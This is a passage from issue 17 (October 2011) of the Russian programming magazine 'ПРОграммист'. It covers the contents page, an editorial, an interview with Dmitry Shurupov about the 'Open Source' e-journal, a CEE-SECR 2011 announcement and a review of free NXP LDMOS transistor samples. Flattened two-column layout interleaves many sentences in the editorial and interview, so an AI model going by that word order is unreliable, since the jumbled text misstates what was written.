Page 1

www.procoder.info


ПРО

граммист

СОДЕРЖАНИЕ

№17 (октябрь) 2011

Издается с марта 2010. Выходит ежемесячно №17, октябрь 2011 г.

Редакция: Выпускающий редактор Utkin Редакторы Алексей Шишкин, Василий Мединцев, Natali-Ka, Алексей Шульга, Егор Горохов, Виталий Желтяков, Ян Липлавский Шеф-редактор Сергей Бадло

Дизайн и верстка:

Виталий Желтяков, Олег Резников, Сергей Бадло

Авторский состав:

Олег Большаков, Виталий aka DRUID3, Анатолий Демидович, Владимир Яковлев, Артем Назаров, Дмитрий Шкаровский, Александра Кушнарева, Сергей Бадло

Официальный сайт журнала: www.procoder.info

Контакты:

Вопросы и предложения для редакции, а также авторские статьи направляйте на E-mail: reddatacentr@gmail.com Вопросы и предложения администратору info@procoder.info

Информационная поддержка:

Международная Академия Информатизации (МАИН) РК www.academy.kz Журнал «Радиолюбитель» www.radioliga.com Журнал «VR-ONLINE» www.vr-online.ru V.K. сайт... www.kotoff.info Free Legal Soft Group alexcones@gmail.com Yan`s Home Digital Lab www.yhdl.ru АСУТП и интеллектуальная начинка приборов www.raxp.radioliga.com Некоммерческая сеть AirNet-Berdyansk www.airnet.zp.ua Электронная электротехническая библиотека www.electrolibrary.info

СЛОВО РЕДАКТОРА

Time Shift ..................................................... с.3 VIP ПЕРСОНА

Интервью с Дмитрием Шуруповым .................................. с.5 МЕРОПРИЯТИЯ, КОНФЕРЕНЦИИ

Конференция по разработке ПО CEE-SECR 2011 ..................... с.11 ОБЗОРЫ

LDMOS. Опыт заказа бесплатного набора от NXP (Бельгия) ......... с.13 ОБЩИЕ ВОПРОСЫ

Знакомство с семейством ОС QNX. Часть 1 ........................ с.17 АЛГОРИТМЫ

A-Star. Стоимость передвижения и оптимизация ................... с.20 Практика реализации быстрого вейвлет-преобразования ............ с.26 WEB ТЕХНОЛОГИИ

История одной CMS. Часть 1 ..................................... с.31 ЛАБОРАТОРИЯ

Технология компиляторного билдинга в Delphi .................... с.38 Пишем шуточный WinLocker на VBS ................................ с.51 Практика подключения клавиатуры к МК ........................... с.54 ДЛЯ ЗАМЕТОК

В копилку читателя ............................................. с.58

Примечание:

Издание некоммерческое. Все материалы, товарные знаки, торговые марки и логотипы, упомянутые в журнале, принадлежат их владельцам. Статьи, поступающие в редакцию, рецензируются. Мнение авторов не всегда совпадает с мнением редакции. Перепечатка материалов журнала и использование их в любой форме, в том числе в электронных СМИ, возможны только с разрешения редакции, при обязательном указании ссылки на сайт журнала http://procoder.info. Формат A4, 58 стр.

Идея создания журнала: Алексей Шульга

Обложка номера:

Дизайн Олега Резникова

Архив номеров журнала!


ПРО

№17 (октябрь) 2011

граммист

Utkin

http://procoder.info

СЛОВО РЕДАКТОРА

TIME SHIFT*

Доброго времени суток, дорогой читатель. Сегодня я хотел бы поговорить об одном интересном и немножко печальном явлении. В рамках отдельно взятого СНГ сплошь и рядом появляются некоторые моменты, на которые большинство населения почему-то совершенно не обращает внимание. Первый тревожный и еще не осознанный звоночек приходит при переходе индивидуума из детского сада в школу. Часто начинающий школьник сильно разочарован – школа, внезапно, совершенно не соответствует заявленным ожиданиям. И если на селе это еще более-менее гладко, то в городских школах это чувствуется сильно. Стресс, как говорят психологи. В ходе учебы возникает еще ряд несоответствий, но человек о них быстро забывает, не рассматривает как закономерность и т.д.

Второй

яркий

момент

результат

поступления в ВУЗ (впрочем, и в других учреждениях

это

тоже

проявляется)

и

сопутствующая сдача ЕГЭ. Оказывается, в

вопросах по ЕГЭ встречаются темы, которые не

рассматриваются

в

рамках

школьной

программы. Бывает, ничего страшного. Сдали ЕГЭ

(как,

сейчас

не

важно),

счастливый

студент идет на пары. Оказывается и здесь не

все просто! Требования начальной подготовки

по многим предметам гораздо жестче, чем тот минимум, что был получен в школе. Зубрение помогает

далеко

не

везде

и

не

всегда.

Следующая нестыковка – это практика по специальности. Оказывается, образовательное учреждение

дает

необходимо.

не

Нет,

все

совсем

в

то,

соответствии

что с

учебным планом и личными предпочтениями авторитетных

действительно телей.

То

и

за

уважаемых

очень что

сильных)

«ставили

часто

и

преподава-

на

горох»

оказывается почему-то не нужным, а то, что проскочили мельком, является, чуть ли не повседневной студенты

не

необходимостью.

видят

и

этого,

Но

многие

потому

что

практику часто проходят путем составления отчета о практике.

* Рубрика «Новости и невероятные факты» и «Юмор» переведены в формат форума. Также, в связи с финансовыми трудностями и нехваткой свободного времени членов редакции, выпуски журнала будут выходить раз в квартал. Приносим свои извинения за возможные неудобства.

Следующий поисках

этап

работы.

просмотр

Очень

вакансий

модный

в

при

поступлении менеджер уже никому не нужен, вместо Дельфи предпочитают 1С и т.д. Но вот работа найдена, успех. И сразу же – никому не интересны Ваши оценки, в большинстве

случаев они не влияют на размер заработной

платы (в крайнем случае, могут сыграть роль при

острой

конкуренции

соискателей

с

одинаковыми прочими параметрами). Большие организации стараются брать и вовсе без высшего

образования,

ведь

тогда

есть

основания платить меньше. В тоже время, человек встречает неизвестное оборудование, новые

методики

деятельности

и

пр.

Или,

наоборот, в противовес базам данных работа

организована в Экcеле, оборудование устаревшее, инициатива с нововведениями (часто ускоряющими встречает

начальства,

производственные

непонимание, так

и

как

коллег

по

со

процессы) стороны

работе.…

В

результате, бывший студент забывает около половины навыков, они ему уже никогда не

пригодятся (а значит, он напрасно тратил время на их освоение).

Однако, это проблема системного характера.

В частности им пронизан весь государствен-

3


ПРО

№17 (октябрь) 2011

граммист

СЛОВО РЕДАКТОРА ный

аппарат,

все,

что

касается

имеет временный сдвиг:

бюджета,

1) законы часто не исполняются в силу того,

что они не отвечают действительности;

2) финансирование поступает намного позже

запланированных пример

сроков

ремонт

сетей

(всем

известный

канализации

водоснабжения после первых морозов);

и

3) местные бюджеты часто издают законы,

нарушающие законы федерального уровня, в

чению (то есть, например, попадают в

организацию федерального уровня, а не в

местную

структуру,

которая

могла

бы

исправить нарушение, например, экологического характера).

5) чиновники часто не успевают выполнить

требования одного закона, как появляется

новый,

модифицирующий

щего.

работу

предыду-

силу того, что чисто физически невозможно

Хорошим примером также является социаль-

правовых актов;

вается

уследить за огромным объемом нормативно-

4) система штрафов один из самых ярких при-

меров временного сдвига:

а) большинство штрафов имеют размер не

соответствующий

нарушению.

За

значи-

тельные нарушения в бюджетной сфере

ные

программы. далеко

Доступное

не

таким

жилье

оказы-

доступным.

Вы

можете встать на очередь, предоставив море

документов, но очередь в несколько лет дает

право

называть

программу

«Недоступное

жилье». Конечно, на каждую проблему есть

своя однозначная причина и порой она даже

вполне объективна. Но общая закономерность

часто даже не предусмотрено уголовной

такова

ному штрафу настолько мала, что для

ные сдвиги, явление, когда структуры не

ответственности. Сумма по административ-

чиновника было бы проще заплатить его в

начале года, и заниматься махинациями

между

отношениями

в

сфере

человеческой деятельности имеются временмогут

согласовать

между

собой

формат

отношений. Одна из сторон всегда имеет

дальше, не отвлекаясь по пустякам;

более свежую версию интерфейса. При этом

ся в силу их незначительности, сложности

только отстающая сторона начинает отвечать

б) часть штрафов практически не взимаетполучения штрафа и просто из-за того, что

расходы по извлечению превысят размер

самого штрафа;

согласование интерфейсов невозможно. Как

всем требованиям, лидер меняет стандарты, делая прямой диалог снова невозможным.

в) многие штрафы заплатить проблемно

Временный

просто потому, что размер предусмотрен и

титоры, вводные курсы, испытательный срок),

как частным лицам, так и организациям, оговорен,

а

способ

его

оплаты

сильно

варьируется и зависит от многих пара-

метров. Отсутствует гибкость, например,

частное лицо не может оплатить штраф

вместо организации;

г) очень часто практически невозможно

сдвиг

порождает

реакцию

общества – дополнительное обучение (репеспекуляция

(игры

с

ценными

курсом валют), коррупция и прочее.

бумагами,

Но эта реакция приспособленческая, она не направлена на устранение проблемы. И в

заключение вопрос, ответ на который пусть

оспорить штраф, а обращаться в суд из-за

каждый найдет самостоятельно – является ли

д)

ляемой?

незначительности штрафа нет смысла; штрафы

используются

не

по

назна-

такая

ситуация

естественной

и

неуправ-

4


ПРО

№17 (октябрь) 2011

граммист

Редакция журнала

http://procoder.info

VIP ПЕРСОНА

ИНТЕРВЬЮ С ДМИТРИЕМ ШУРУПОВЫМ

Cегодня у нас в гостях один из активистов идеологии свободного и открытого программного обеспечения, автор, инициатор и участник проектов: www.nixp.ru, www.linuxphone.ru, www.neomoby.ru и многих-многих других. Являясь одним из родоначальников и поныне ведущим проекта FLOSS, способствовал росту популярности, ставшего уже широко известным, популярного электронного издания о свободном ПО – журнала «Open Source» http://osa.samag.ru. Как вы уже возможно догадались, на огонек зашел главный редактор одноименного журнала, Дмитрий Шурупов. Интервью, по-прежнему, проведем в режиме вопрос-ответ... Редакция: Доброго времени суток, Дмит-

и UNIX-системам nixp.ru. Помимо всего этого,

скромном и небольшом, но дружном кол-

приложения «Open Source» к журналу «Си-

о себе?

ния.

рий. Мы рады приветствовать Вас в нашем

лективе. Для начала, расскажите немного

Дмитрий: Здравствуйте. Относительно недавно, в 2009 году, закончил Мо-

являюсь

главным

редактором

электронного

стемный администратор» с самого его появле-

Редакция: Когда был образован проект

«Open Source»*? Кто сто-

сковский государственный

ит

тематики www.miem.edu.ru

проекта?

рантуру.

Дмитрий: Впервые реальное

институт электроники и ма-

стали

и сразу поступил в аспиНа

кафедру

Информационно-коммуни-

кационных

у

истоков?

вы

руководителем

намерение

технологий

Как

создать

этот

проект зародилось в 2004

www.auditory.ru этого вуза

году, когда еще не было

я попал скорее случайно,

подобных

ла для меня родной: с ран-

бодному

чем специально, но она ста-

русскоязычных

изданий, но интерес к сво-

программному

них курсов проявлял там

обеспечению и его поступа-

различных проектах, а те-

метен.

активность,

участвовал

в

тельный рост уже был заЯ

был

перь преподаю и, помимо

Владимиром

самом

лял

аспирантуры, вузе.

работаю

Кроме

в

веду свой веб-проект, по-

священный свободному ПО

с

Положевцом,

который в то время возглав-

того,

еще со школьных времен

знаком

Электронное приложение «Open Source» к журналу «Системный администратор»

* «Системный администратор»: «Open Source» — электронное (распространяемое в интернете бесплатно) приложение к журналу, посвященное программному обеспечению с открытым кодом / Справка

журнал

«Системный

администратор»,

и

он

предложил мне, как сторон-

нику ПО с открытым кодом,

5


ПРО

№17 (октябрь) 2011

граммист

VIP ПЕРСОНА обдумать проект создания электронного журна-

верстки и кто занимается версткой?

лению. Совместные размышления и дискуссии

Дмитрий: Это очень больной вопрос. Дело в

года состоялся первый предварительный анонс

– Adobe InDesign. Разумеется, этот факт всякий

ла по этому набирающему популярность направ-

на эту тему привели к тому, что в ноябре 2005 будущего издания и в том же месяце появился его первый выпуск.

Редакция:

Каково

влияние

руководства

журнала «Системный администратор» на

том, что используется проприетарный продукт

раз вызывает возмущение или даже бурю него-

дования у некоторых сторонников свободного

ПО, впервые знакомящихся с нашим изданием

и просматривающих заголовочную информа-

цию в PDF. Попадаются и читатели, которые

проект?

считают такое положение дел абсолютно недо-

Дмитрий: Оно скорее «политическое». Подска-

случаях фанатизм, их позицию можно в чем-то

пустимым. Несмотря на выступающий в таких

зывают, в каком направлении стоит (или стоит

понять. Но у нас свои аргументы, и главный –

ми, интересуются достигнутыми успехами и об-

год работает над печатным изданием в родном

попробовать) развиваться, помогают с автора-

ращают внимание на возникающие проблемы. В

плане

более

«прикладных»

вопросов

это как раз верстальщик, который уже не один

для

себя

продукте.

Соответственно,

«Open

и

Source» создается аналогичным образом и с та-

что-то пойдет не так, будет заметно уже по ре-

тать для чтения в бумажном виде. Содержать

проблем дается полная свобода действий. Если зультатам.

Редакция: Наших читателей интересует –

кой версткой, что его всегда удобно распечадля

этого

отдельного

верстальщика

или

переобучать специалиста, занимающегося пе-

чатным изданием, весьма накладно. Вместе с

кто поддерживает проект до настоящего

тем, хочется сохранить профессиональный под-

коммерческий проект? Что или кто дает

процесс внутри редакции, поэтому отдать дан-

момента? FLOSS оправдывает себя как не-

ему оставаться на плаву?

Дмитрий: Ответ прост и на поверхности – редак-

ция журнала «Системный администратор».

Редакция: Состав вашей команды-редак-

ции?

Дмитрий:

Помимо

главного

и

до

сих

пор

единственного редактора в работе над каждым

выпуском принимает участие верстальщик и

корректоры. Это те же люди, что работают и над родительским изданием. Редакция:

Какое

ПО

используется

для

ход к верстке издания и налаженный рабочий

ную часть энтузиастам, готовым верстать в

Scribus, тоже не представляется достойным ва-

риантом. И напоследок: надо признать, что

есть вполне объективные недостатки уже упо-

мянутого Scribus в сравнении с проприетарными лидерами рынка.

Редакция: Как часто в верстку вносятся из-

менения?

Дмитрий: Радикальных изменений не было с

самого появления издания. Незначительные

правки вносятся нечасто, по мере появления таких запросов от читателей или собственных наблюдений.

6


ПРО

№17 (октябрь) 2011

граммист

VIP ПЕРСОНА Редакция: Какова периодичность выхода

издания?

Дмитрий: Еще полтора года назад график был

люди, по-настоящему увлечённые своим делом.

Да, многие из них славятся специфичным

характером, но это естественно. В общем,

главными отличиями от некого усредненного

весьма нестабильным, но с прошлого года мы

сообщества

месяц.

Кроме

вышли на обязательный выпуск двух номеров в

талантливость

я

того,

сторонников

и

бы

назвал

разнообразие,

невероятный

многие

из

всерьёз

энтузиазм.

Open

Source-

задумываются

о

Редакция: Какова целевая аудитория изда-

проблемах современности – пусть, как правило,

Дмитрий:

Редакция:

ния?

Преимущественно

это

«обычные»

пользователи настольных компьютеров (дескто-

пов, ноутбуков, нетбуков) с GNU/Linux и други-

ми

свободными

операционными

системами.

в контексте близкой им ИТ-среды. Тематика

или она меняется?

издания

постоянна

Дмитрий: Поскольку тематика достаточно об-

Разумеется, ими все не ограничивается – как

ширна, можно сказать, что в целом она посто-

ная деятельность таких пользователей так или

регулируются

минимум, потому что нередко профессиональ-

янна.

Более

конкретные

тремя

основными

направления факторами:

иначе связана со свободным ПО. Поэтому у нас

моими предложениями по темам статей, чита-

нец, мы стараемся делать материалы, которые

ров. Вот комбинация этих факторов и дает на

регулярно бывают статьи и по разработке. Нако-

будут интересны и людям, до сих пор не исполь-

зующим свободное ПО, но интересующимся его

современными возможностями. Редакция:

Чем

отличается

сообщество

тельскими запросами, интересами самих авто-

выходе те статьи, которые появляются на страницах издания.

Редакция: Что есть Open Source для вас?

FLOSS от других аналогичных сообществ?

Дмитрий: Эффективная модель разработки про-

Дмитрий:

нию к потребителям бизнес, «красивая» и

«Аналогичные

сообщества»

это

граммного обеспечения, честный по отноше-

весьма обширный термин. Я считаю, что Open

интересная философия.

причем

Редакция:

Source-сообщество не

Сформулированная собрала

только

под

уникальное для

Столлманом

своим

явление,

ИТ-индустрии.

идеология

крылом

очень

разношёрстных людей: ученых, программистов,

Чтобы

бы

Вы

изменили

в

индустрии разработки ПО, если бы у Вас была такая возможность?

борцов за всевозможные свободы, системных

Дмитрий: Все банально – больше свободных

редко бывает «серая масса» — она стала

разработке продуктов на заказ программисты

популяризацией Linux благодаря Ubuntu. Ядро

компоненты и впоследствии открывали свой

администраторов, гиков, бизнесменов… Здесь проявляться

разве

сообщества

составляют

что

очень

с

широкой

талантливые

проектов на благо всем. Хочется, чтобы при

активнее

код.

Чтобы

использовали вендоры

Open

меньше

Source-

продавали

7


ПРО

№17 (октябрь) 2011

граммист

VIP ПЕРСОНА «воздух».

Идеализируя

до

конца,

я

скажу

Редакция: По вашему мнению: что значит

наивную вещь, но мне действительно хочется,

хорошая статья?

по-человечески,

Дмитрий: Тут сложно однозначно и конкретно

чтобы в бизнесе люди относились друг к другу

соблюдение

моральных

коммерческую

упомянуть

ставя

обеспечение:

и

прибыль. патенты

во

главу

ценностей,

бесконечные

Нельзя

а

не

прочтения которой получаешь удовольствие.

разбирательства

быть весьма разнообразным – например, от ин-

программное

утомляют и расстраивают. Как хорошо недавно

написал

Matt

Asay,

ответить. Если говорить обще, то это статья, от

не

на

тут

угла

технологический

мир

превращается в конкуренцию юристов, а не

разработчиков и продавцов.

Редакция: Кто может стать автором в изда-

нии?

Дмитрий: Любой человек, которому есть, о чем

Происхождение «удовольствия» здесь может тересных авторских мыслей или от грамотно

поданной новой информации, или даже от кра-

сивого слога. В идеале, конечно, пересечение

всех аспектов, но обычно бывает достаточно и

чего-то одного, но по-настоящему заметного.

Редакция: Много ли «жертвуют» на под-

держку проекта?

рассказать по весьма обширной тематике Open

Дмитрий: Несмотря на немалое число чита-

тель, относительно недавно установивший свой

лю. Справедливости ради надо сказать, что

Source. Это может быть как рядовой пользова-

телей, этот показатель скорее стремится к ну-

первый Linux-дистрибутив, так и опытный си-

вообще в русскоязычном сегменте сети систе-

дый расскажет о своем, а мы постараемся

ный и эффективный способ получения каких бы

стемный администратор или программист. Кажсделать так, чтобы читателям было интересно.

Редакция: Наверняка, как и в любом журна-

ле, есть постоянные авторы. Что их привле-

кает?

Дмитрий: Один из главных факторов – малое ко-

личество (а точнее – практически полное отсутствие)

аналогичных

по

тематике

русскоязычных изданий. Их можно перечесть по пальцам. Кроме того, у нас часто выходят но-

вые выпуски, которые быстро распространяют-

ма пожертвований – далеко не самый популярто ни было средств. Поэтому подобных ре-

зультатов мы изначально и ожидали.

Редакция: Вы занимаетесь проектом в сво-

бодное от работы время или это и есть основная работа?

Дмитрий: Это одна из основных работ (наравне

с уже упоминавшейся работой в вузе). Ведение

подобного проекта в свободное время не позво-

ляет придерживаться строгого графика и не

способствует удачному сотрудничеству с авто-

ся в массах (в отличие от печатных изданий).

рами.

и хочет оперативно и регулярно высказывать

Редакция: Издание позиционируется как

Поэтому, если человек действительно увлечен миру свои мысли, он с большой вероятностью

выберет именно наше издание.

электронное приложение. Если есть, то ка-

ковы планы дальнейшего роста?

8


ПРО

№17 (октябрь) 2011

граммист

VIP ПЕРСОНА Дмитрий: Мы рассматривали возможность пере-

Редакция: Читаете ли вы в дороге? Какими

хода на печатный вариант, однако анализ ны-

гаджетами пользуетесь?

что это далеко не лучшая затея. Направление,

Дмитрий:

нешней ситуации привел к пониманию того,

в котором можно попробовать двигаться, – более частые выпуски. Редакция:

ниях? Мое

Расскажите

главное

Исключительно

любящего

о

увлечение на

самые

уровне

ваших

увлече-

музыка.

это

слушателя,

разнообразные

её

но

прояв-

ления: от классической до хитросплетенной

электроники (idm, glitch, experimental) через брит-поп, рок, джаз, трип-хоп, ambient, chillout

и этнические напевы Африки и Индии. Кино

предпочитаю

интеллектуальное

и

драмати-

ческое. В спорте – футбол и хоккей как зритель, волейбол

и

настольный

теннис

как

непосредственный участник. Другое важное

увлечение

путешествия.

Очень

люблю

отлучаться от привычных дел с тем, чтобы хотя

бы на короткое время посвятить себя изучению

В

дороге

на

непродолжительные

расстояния (в пределах города) я чаще читаю

именно с электронных устройств, причем не

каких-то

специализированных,

смартфона.

На

Incredible S. Для

данный

длительного

бумажные

чтения

издания.

а

момент

Если

же

со

это

своего HTC

предпочитаю говорить

о

гаджетах более глобально, то это еще и нетбук для дома и путешествий, ноутбук – для работы.

Будучи большим любителем музыки, долгое

время не мог отказаться от аппаратного mp3плеера, но наконец-то освободился от него в пользу

все

того

же

смартфона.

Свою

аудиоколлекцию храню на внешнем жестком

диске – с тем, чтобы ее всегда можно было

взять с собой.

Редакция: ТОП-5 ежедневных просмотров

быта и нравов людей из других стран. И

Интернет-ресурсов?

называть «увлечением», – с недавних пор я стал

Дмитрий: nixp.ru, forum.auditory.ru, google.com,

Редакция: Какие из электронных и бумаж-

Редакция: У вас, как автора, есть публика-

последнее, хотя не уверен, что это корректно

вегетарианцем.

ных журналов вы читаете? Какой является ориентиром для Вас?

Дмитрий: Это может показаться забавным, но

wikipedia.org, nhl.com.

ции? Если не секрет, в каких изданиях?

Дмитрий: Самые ранние работы можно найти в

журнале «Хакер» 2003-2004 годов. Затем были

электронные журналы я практически не читаю.

статьи в родительском издании – журнале «Си-

«Системный администратор». Когда бываю за

но, самом приложении «Open Source». Кроме

Из печатных: «Иллюстрированная наука» и сам

стемный администратор», а также, естествен-

рубежом, обязательно знакомлюсь с местными

того, в наличии несколько научных публика-

руюсь. Но каких-то конкретных «флагманов»

федре

ИТ-изданиями – вот скорее на них я и ориенти-

тут нет.

ций, связанных с моей деятельностью на каи

диссертацией.

работой

над

кандидатской

9


ПРО

№17 (октябрь) 2011

граммист

VIP ПЕРСОНА Редакция: Как ваши близкие относятся к

обрести внутреннюю гармонию. А вот способы

Дмитрий: Они искренне рады тому, что я зани-

Редакция: Cпасибо вам Дмитрий за столь

указывают на то, что работы в моей жизни

чтобы

вашей работе?

маюсь тем, что мне нравится. Иногда только

мне пока самому неясны.

увлекательное интервью. И напоследок, вы

слишком много.

читателям?

Редакция: Как Вы распределяете время

Дмитрий:

между оплачиваемой работой, хобби-проек-

тами и отдыхом?

хотели

Спасибо

и

пожелать

вам

за

нашим

интересные

вопросы. Как говорил один мой замечательный

друг, главное – не останавливайтесь!

Дмитрий: Мне повезло с тем, что рамки между

работой и хобби, связанными с интересами в

области ИТ, весьма размыты. Порой я не могу

однозначно

ответить,

занят

я

сейчас

непосредственно работой или это мое хобби,

потому что одно плавно перетекает в другое и

наоборот. Столь тесное переплетение работы и

хобби долгое время позволяло мне фактически игнорировать отдых.

Сейчас я приблизился к типичному рабочему

режиму с непривычными доселе выходными днями, оставляя свободное время на внутрен-

нее развитие. Редакция:

будущее?

Каковы

ваши

планы

на

Дмитрий: В последнее время меня все меньше

заботит и привлекает привычная деятельность.

Часто задумываясь на вечные философские

вопросы о тонких материях, я пытаюсь осознать свою

реальную

роль

в

мире

и

наметить

дальнейший путь. Без таких глобальных целей работа, хобби и увлечения имеют тенденцию

уподобляться

рутине,

удовлетворения.

не

доставляя

былого

В общем, мой главный план на будущее –

Дмитрий Шурупов.

Конференция nixp.conf / 2011 в здании Московского

государственного института электроники и математики

10


ПРО

№17 (октябрь) 2011

граммист

МЕРОПРИЯТИЯ, КОНФЕРЕНЦИИ Александра Кушнарева

pr@cee-secr.org

КОНФЕРЕНЦИЯ ПО РАЗРАБОТКЕ ПО CEE-SECR 2011 7-я научно-практическая конференция Разработка ПО/CEE-SECR 2011 пройдет при партнерской поддержке ведущих ИТ-ассоциаций России. К некоммерческому партнерству РУССОФТ, являющемуся одним из организаторов конференции, присоединились АП КИТ, АРПП «Отечественный софт», РАСПО, ISDEF и Agile Russia.

С 31 октября по 3 ноября 2011 сотни ведущих программистов

и

авторитетных

экспертов

индустрии разработки ПО соберутся в Москве,

в центре новых технологий Digital October,

чтобы поделиться передовым опытом и идеями с

участниками

конференции

www.secr.ru.

Конференция* площадкой

для

является

CEE-SECR

своеобразной

эффективного

общения

CEE-SECR 2011 – ежегодная независимая конференция,

собирающая

около

1000

участников,

среди

которых

разработчики ПО, исследователи, инженеры-практики, лидеры

общественного

мнения,

предприниматели

и

инвесторы. CEE-SECR завоевала заслуженный авторитет главного

профессионального

события

в

индустрии

разработки программного обеспечения в России и странах

Восточной Европы. В этом году партнерами конференции

уже стали: Российская венчурная компания, Intel, EMC,

разработчиков, инвесторов и аналитиков.

Luxoft, Parallels, First Line Software, Руссофт, Высшая

CEE-SECR**

компаний.

традиционно

поддерживается

компаниями-лидерами индустрии, но впервые

конференции оказывается такая единодушная поддержка

ассоциаций.

со

Это

стороны

авторитетных

знаменательное

событие,

школа экономики, журнал ПРОграммист и ряд других

Ассоциация

Разработчиков

Программных

Продуктов «Отечественный софт» (АРПП

которое говорит об устойчивом интересе ит-

«Отечественный

другой – способствует развитию индустрии и

программного обеспечения, представляющих

сообщества к конференции с одной стороны, а с продвижению

российских

интернациональный рынок.

продуктов

на

В программу конференции войдут такие темы

как:

• облачные вычисления; • Agile методологии;

• разработка мобильных приложений; • новые языки программирования;

• приложения для социальных сетей; • образование;

• и многие другие.

российских

софт»)

производителей

объединяет

прикладного

все сегменты ИТ-индустрии: от антивирусного

ПО и лингвистических программ до «тяжелого

ПО»

систем

комплексной

автоматизации

различных секторов экономики и управления. АП

КИТ

(Ассоциация

Компьютерных

Технологий)

и

Предприятий

Информационных

объединяет

крупнейшие

отечественные и мировые компании в области

разработки

производства ведущих

программного

компьютеров

отечественных

системных интеграторов.

и

обеспечения,

оборудования,

дистрибьюторов

* О правилах и процедуре подачи докладов смотрите тут http://www.secr.ru/for-speakers. ** Подробнее на ресурсе http://www.secr.ru/banks.

11

и


ПРО

№17 (октябрь) 2011

граммист

МЕРОПРИЯТИЯ, КОНФЕРЕНЦИИ

РАСПО (Российская Ассоциация Свободного

Программного Обеспечения) создана с целью

содействовать

разработке,

популяризации

внедрению

свободного

и

программного

мировой

лицензиях,

рынок

обеспечения (ПО). Ассоциация

и

ее

разработки

ISDEF

деятельности объединения являются

регулярные семинары, тренинги, встречи,

обеспечения,

материалов по темам, связанным со всеми

основанного на открытом исходном коде и свободных

(гибких методологий разработки). Основой

программного

обеспечения в России, развитию отечественной индустрии

Agile Russia – сообщество практиков Agile

вхождению

в

поддержка конференций, публикация статей и

аспектами Agile.

программного

(Independent

Software

Developers Forum) образована в конце 2002. Основная

цель

ассоциации

совершенствованию

процесса

содействовать

разработки

и

внедрения ПО. Для достижения этой цели

ассоциация организует семинары, конференции

и другие формы обмена опытом; проводит мероприятия, направленные против проблемы

компьютерного пиратства.

Место проведения конференции:

Москва, Берсеневская набережная, 6, стр. 3

12


ПРО

№17 (октябрь) 2011

граммист

Cергей Бадло

http://procoder.info

ОБЗОРЫ

LDMOS. БЕСПЛАТНЫЙ НАБОР ОТ NXP (БЕЛЬГИЯ)

Вы конечно же слышали о бесплатных рассылках «залежалого» товара на складе от некоторых зарубежных компаний? Иногда это делается в целях агитации перехода на новый «компонент» и привлечения новых клиентов, как это было с нашумевшим ARM-ом http://www.st.com/stm32 и конкурсом «Уничтожь свой 8-битный МК» (вкусная вещица, конечно). Для нас, эмбеддеров-железячников и просто радиолюбителей - это возможность пополнить запасы сырья для творчества. На акцию с рассылкой контроллера припоздал, а вот на «халявные» мощные светодиоды белого свечения решил поучавствовать. Увы,

раскатанную

но

и

губу

пришлось собирать обрат-

заготовленный

паяльник спрятать обратно в чехлы, ибо на всех

наборов видимо не хватило. Ну, да упорство и труд

все

перетрут.

Заполнил

следующую акцию от NXP.

анкету*

на

В анкете давал свой полный реальный адрес в

английской транскрипции, без всяких выдумок. На этот раз «халявой» были мощные СВЧ

транзисторы: BLF6G10LS-260PRN и BLF7G27L-

75P (см. даташит [1, 2]). LDMOS

транзисторы

впечатляют

по

заявленным параметрам и предназначены для работы

в

качестве

устройствах

рисунок 1-3):

мощных

коммуникации

оконечников

и

связи

в

(см.

Рис. 1-3. Технические параметры BLF6G10LS-260PRN

* Следует отметить, что на ряде ресурсов советуют заполнять с реальным адресом, но с другой страной (Польша, Киев ...дальше вы поняли). Исходя из того, что страну, э-э-э, "Украина" компании предпочитают обходить стороной, что логично, если вспомнить безалаберность и разруху в некоторых головах различных служб. Грустно, но что поделаешь.

13


ПРО

№17 (октябрь) 2011

граммист

ОБЗОРЫ Но, как говорится: «...ближе к телу». Через три дня

пришло

письмо

с

подтверждение заказа: nxp-emea@harte-hanks.com

запросом

на

почтовое отделение у нас работает до 17-00, а с

работы минимум с пяти вечера плюс час на дорогу. Пришлось вооружиться терпением и

вернуться к ремонту на квартире, тем паче

«делов»

<nxp-emea@harte-hanks.com>

сказано.

16 августа 2011 г. 19:29 Ответить: nxp-emea@harte-hanks.com

там

выше

крыши

и...

это

мягко

Кому: xxx

И вот, вот она долгожданная сегодняшняя

Dear Mr Badlo

следов взлома, см. рисунок 4):

посылочка** ...с пылу - с жару (пакет без

Thank you for your order, it has been received and will be processed. The ordered material will be shipped within 48 hours of this confirmation to this address: Mr Sergey Badlo PROCODER MAGAZINE ZAPOROGHYE UKRAINE

Content of your order : 99-0006-074

BLF6G10L(S)-260PRN: 260W LDMOS power trs1

99-0006-103

BLF7G27L-75P: 76 W LDMOS power trs 2300 1

99-0006-168

Rf Manual 15th edition (939775017087)

1

Рис. 4. Пакет Штамп поближе (см. рисунок 5):

Kind regards, NXP Semiconductors International Fulfillment Center

For new registrations go to http://nxp.com/my/

You may update your registration at any time by visiting: http://nxp.com/my/update

Разумеется,

ожидание...

подтвердил.

Дальше

только

И вот, перед самыми праздниками, вечером, в почтовом бланк

Почему

ящике

обнаруживаю

уведомления упомянул

о

посылке

праздники?

стандартный с

Да

Бельгии.

просто

** Вопреки ожиданиям, с почты на таможню не послали забирать, что не могло не порадовать.

Рис. 5. Штамп

14


ПРО

№17 (октябрь) 2011

граммист

ОБЗОРЫ Вскрытие (пакет сделан добротно из плотной

Документация

производитель

рисунок 10).

упаковочной бумаги, как видно из маркировки RAJAMOUSSE

up.com, см. рисунок 6-8):

www.rajagro-

и

заказ

пакетах (см. рисунок

в

антистатических

9). Сам заказ (см.

Рис. 9-10. Комплектующие Распакованное (флешка для сравнения, см. рисунок 11-15):

Рис. 11. Вид сверху.

Флешка для Рис. 6-8. Вскрытие пакета

сравнения

15


ПРО

№17 (октябрь) 2011

граммист

ОБЗОРЫ

Рис. 12-13. Вид сверху и снизу И толстенный мануал впридачу (видимо для тех, кто предпочитает бумажный вариант, похвально

... см. рисунок 14 и 15):

Рис. 14-15. Мануал Заключение

Продолжение следует...

Вот так. Конечно же, выражаю благодарность

Ресурсы

возможность

1. DATA-SHEET

компании NXP Semiconductors http://nxp.com за поэкспериментировать

с

СВЧ

LDMOS транзисторами и жене за проявленное

терпение

процесса.

в

деле

фотодокументирования

Угум-с, чуть не забыл упомянуть адрес для регистраций, вот он http://nxp.com/my.

на

транзистор

BLF6G10LS-

260PRN http://www.nxp.com/documents/

data_sheet/BLF6G10L-260PRN_LS-260PRN.pdf

2. DATA-SHEET на транзистор BLF7G27L-75P

http://www.nxp.com/documents/data_sheet/BL F7G27L-75P_BLF7G27LS-75P.pdf

3. Ресурс автора http://raxp.radioliga.com

16


ПРО

№17 (октябрь) 2011

граммист

Олег Большаков

http://kpda.ru

ОБЩИЕ ВОПРОСЫ

ЗНАКОМСТВО С СЕМЕЙСТВОМ ОС QNX. ЧАСТЬ 1

